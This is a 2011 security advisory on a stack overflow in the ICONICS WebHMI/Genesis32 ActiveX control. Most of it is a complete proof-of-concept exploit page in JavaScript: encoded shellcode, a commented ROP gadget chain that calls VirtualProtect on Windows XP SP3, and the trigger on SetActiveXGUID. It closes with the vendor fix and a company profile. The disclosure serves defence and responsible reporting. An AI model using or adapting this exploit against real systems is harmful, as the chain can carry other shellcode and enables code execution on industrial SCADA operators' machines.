Vulnerability Advisory

Name	ICONICS WebHMI ActiveX Stack Overflow
Vendor Website	http://www.iconics.com/
Date Released	28/04/2011
Affected Software	ICONICS WebHMI, Genesis32, BizViz
Researchers	Scott Bell & Blair Strang

Description

ICONICS Genesis32 is a suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications. A stack overflow was found in an ActiveX control required by the WebHMI interface. This condition can be used to gain command execution.

The affected control is 'GenVersion.dll' and has the ClassID of {CEFF5F48-BD2E-4D10-BAE5-AF729975E223}. This control is marked safe for scripting.

Exploitation

Exploitation of this vulnerability requires a user with the ActiveX control installed to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet.

By passing a specially crafted string to the "SetActiveXGUID" method, it is possible to overflow a static buffer and execute arbitrary code on the user's machine with the privileges of the logged on user. Security-Assessment.com constructed a JavaScript ROP exploit as proof of concept.

Proof of Concept ROP Exploit

```
<html>
<!--

    (     , )       (,
  .    `.' ) ('.     ',
   ). , ('.    ( ) (
  (_,) .`), ) _ _,
 /  _____/  / _  \     ____  ____  _____
 \_____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /        \/    |    \\  \__(  <_> )  Y Y  \
/_______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/          \/:wq
                    (x.0)
                  '=.|w|.='
                  _='`"``=.

                presents..

  PRODUCT: http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
   AUTHOR: sgb <scott.bell@security-assessment.com>
   AUTHOR: bls <blair.strang@security-assessment.com>
  WEBSITE: http://www.security-assessment.com/
   TESTED: Windows XP Professional SP3 (EN) latest updates with IE8 and IE7
     DATE: Sun Jan 30 2011

-->
```

```
<title>ICONICS WEBHMI ACTIVEX BOF ROP XPSP3</title>

<object classid="clsid:D25FCAFC-F795-4609-89BB-5F78B4ACAF2C" id="target"></object>
<script language="JavaScript">

//-----------------------------------------------------
// Javascript helpers
//-----------------------------------------------------

String.prototype.repeat = function(num) {
    return new Array(isNaN(num)? 1 : ++num).join(this);
}

function encode_dword(sdw) {
    if(sdw.length != 8) {
        alert('encode_dword: invalid dword: ' + sdw);
        return "";
    }
    var a = sdw.substr(0, 4);
    var b = sdw.substr(4, 8);
    return unescape('%u' + b + '%u' + a);
}

function junk_dword(char) {
    var charCodeStr = char.charCodeAt(0).toString(16);
    var expr = charCodeStr.repeat(4)
    return encode_dword(expr);
}

//-----------------------------------------------------
// Shellcode
//
// use payload/windows/exec
// set CMD 'cmd.exe /q /k taskkill /f /IM iexplore.exe'
// generate -t js_le -b '\x00'
//-----------------------------------------------------

var shellcode = unescape('%u9090').repeat(200) + unescape(
'%ueaba%ud0be%udba1%ud9de%u2474%u5df4%uc933%u3bb1' +
'%u5531%u8314%ufced%u5503%u0810%u2c4b%u4549%ucdb4' +
'%u358a%u283c%u67bb%u385a%ub7ee%u6c28%u3c03%u857c' +
'%u3090%uaaa9%ufe11%u858f%ucfa2%u490f%u4e60%u90ec' +
'%ub0b5%u5acd%ub1c8%u860a%ue323%uccc3%u1396%u9067' +
'%u122a%u9ea7%u6c13%u61c2%uc6e7%ub1cd%u5d58%u2985' +
'%u39d2%u4b36%u5a37%u020a%ua83c%u95f8%ue194%ua401' +
'%uadd8%u083f%uacd5%uaf78%udb06%ud372%udbbb%ua940' +
'%u6e67%u0955%uc8e3%uabbd%u8e20%ua736%uc58d%ua411' +
'%u0a10%ud02a%uad99%u50fd%u89d9%u39d9%ub0b9%ue478' +
'%ucd6c%u409b%u6bd0%u63d7%u0d05%ue9ba%u9cd8%u57c0' +
'%u9eda%uf7ca%uafb3%u9841%u30c4%udc80%ud32b%u2901' +
'%u4dc4%u90c0%u6e89%ud63e%uecb7%ua7cb%uec43%ua2b9' +
'%uab08%udf52%u5901%u4c55%u4821%u1f36%u5cb9%ua7dc' +
'%u8024%u0931%uef87%u8926%u8eb3%ua2cb%u3950%u5940' +
'%u9687%u81fe%ua1e8%ue1b3%u549f%u9234%uf933%u37b6' +
'%u60e2%udd4f%u41fa');

//-----------------------------------------------------
// ROP Gadgets
//
// Modules used: kernel32, user32, shell32, rpcrt4, ole32
//-----------------------------------------------------
```

```
// Saves ESP into EAX
var save_esp_gadget = encode_dword("77EEDC67") +   // # DEC EAX # PUSH ESP # POP EBP # RETN 4
                      junk_dword("X") +
                      encode_dword("7CB09A4D") +   // # XCHG EAX,EBP # RETN
                      junk_dword("Y");

// This will inc ESP by 16 + 4 + 4 + 4 = 28 bytes

var jump_over_params_gadget =
    encode_dword('7C80DFD8');  // # ADD ESP,10 # POP EDI # POP ESI # POP EBX # RETN

var virtual_protect_call = encode_dword('7c801ad4');   // &Kernel32.VirtualProtect

// 5 parameter placeholders and 1 static
var placeholders = junk_dword('P') +  // PPPP 8   == INITIAL ESP + 8  p1 - retaddr (shellcode)
                   junk_dword('Q') +  // QQQQ 12                      p2 - lpaddr  (shellcode)
                   junk_dword('R') +  // RRRR 16                      p3 - size
                   junk_dword('S') +  // SSSS 20                      p4 - perms
                   junk_dword('T');   // TTTT 24                      p5 - oldperms

var extra_junk   = junk_dword('Y');   // JUNK (because jump gadget skips 28 bytes)

var copy_eax_edx = encode_dword('7CB1B102'); // # MOV EDX,EAX # MOV EAX,EDX # RETN
var copy_eax_ecx = encode_dword('7e419167'); // # XCHG EAX,ECX # RETN
                                             // ^ Note: destroys EAX
var xchg_eax_edx = encode_dword('7CBB9C74'); // # XCHG EAX,EDX # RETN
var inc_ecx = encode_dword('775F0CFF');      // # INC ECX # RETN
var add_eax_64h = encode_dword('77550F6F');  // # ADD EAX,64 # RETN
var add_eax_328h = encode_dword('7756DF51'); // # ADD EAX,328 # RETN
var clear_eax = encode_dword('7E456160');    // # XOR EAX,EAX # RETN
var dec_ecx = encode_dword('7CAA881F');      // # DEC ECX # RETN
var pop_eax = encode_dword('7CB1B822');      // # POP EAX # RETN
var xchg_eax_ecx = encode_dword('7E4462ED'); // # XCHG EAX,ECX # RETN
var xchg_eax_esp = encode_dword('7CB93033'); // # XCHG EAX,ESP # RETN

var restore_eax_from_edx = xchg_eax_edx + copy_eax_edx;

var set_eax_40h = clear_eax +
    encode_dword('77550F6F').repeat(2) +  // +64h x 2 - # ADD EAX,64 # RETN
    encode_dword('7CA7BC50').repeat(2) +  // -41h x 2 - # SUB EAX,41 # RETN
    encode_dword('7C812FA6').repeat(6);   //  -1  x 6 - # DEC EAX # RETN

// Copy contents of EDX to location pointed to by ECX (used to write our params)
var write_arg = encode_dword('77EB2BE3');  // # MOV DWORD PTR DS:[ECX],EDX # RETN

var sploit = unescape('%u9090').repeat(255) +  // Padding for BOF
             save_esp_gadget +                 // Save ESP into EAX
             jump_over_params_gadget +         // Jump over VirtualProtect params
             virtual_protect_call +
             placeholders +
             extra_junk +
             copy_eax_edx +                    // Prep EDX
             copy_eax_ecx +                    // Prep ECX

             inc_ecx.repeat(21) +        // Point ECX at param 1 (retaddr)
             restore_eax_from_edx +      // EAX was destroyed by copy_eax_ecx gadget :/
             add_eax_64h.repeat(5) +     // Bump EAX 'til it points to our shellcode
             copy_eax_edx +              // Copy it into EDX in prep for write
             write_arg +                 // Write EDX (shellcode ptr) to [ECX]
                                         // retaddr for VirtualProtect which is our shellcode
             inc_ecx.repeat(4) +
             write_arg +                 // Write EDX again (shellcode ptr) for param 1: lpaddr
             inc_ecx.repeat(4) +         // Bump ECX by 4 (so that it points at param 2)
```

```
            clear_eax +                 // Zero out EAX register
            add_eax_328h +              // Bump up EAX by 600 to allow 600 bytes shellcode
            copy_eax_edx +              // Write EAX to EDX in prep for param
            write_arg +                 // Write EDX (size) to ECX (points to param 3: dwsize)

            inc_ecx.repeat(4) +         // Bump ECX by 4 (so that it points at param 3)
            set_eax_40h +               // Set EAX to 0x40 (PAGE_EXECUTE_READWRITE)
            copy_eax_edx +              // Copy EAX to EDX in prep for param write
            write_arg +

            inc_ecx.repeat(4) +         // Bump ECX by 4 (so that it points at param 4)
            pop_eax +
            encode_dword('0012f878') + // Get a static, writable address into EAX

            // Note: if you get ERROR_NOACCESS on VirtualProtect then you probably have
            // to pick a different static, writeable address.

            copy_eax_edx +
            write_arg +                 // Put our static, writable address in param 5

            dec_ecx.repeat(20) +        // Roll ECX back to point to our VirtualProtect call
            xchg_eax_ecx +              // Put ECX into EAX
            xchg_eax_esp +              // Put EAX into ESP (RET will trigger VirtualProtect)
            junk_dword('Q') +           // If we hit this, we failed...
            shellcode;

//-----------------------------------------------------
// Trigger
//-----------------------------------------------------

target.SetActiveXGUID(sploit);

</script>
</html>
```

Solution

ICONICS validated this security issue and updated the WebHMI software product to address this issue. The fix is incorporated in the version 9.22 releases of GENESIS32, GENESIS64 and BizViz. Security-Assessment.com recommends updating to the latest version provided by the vendor.

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 472 5093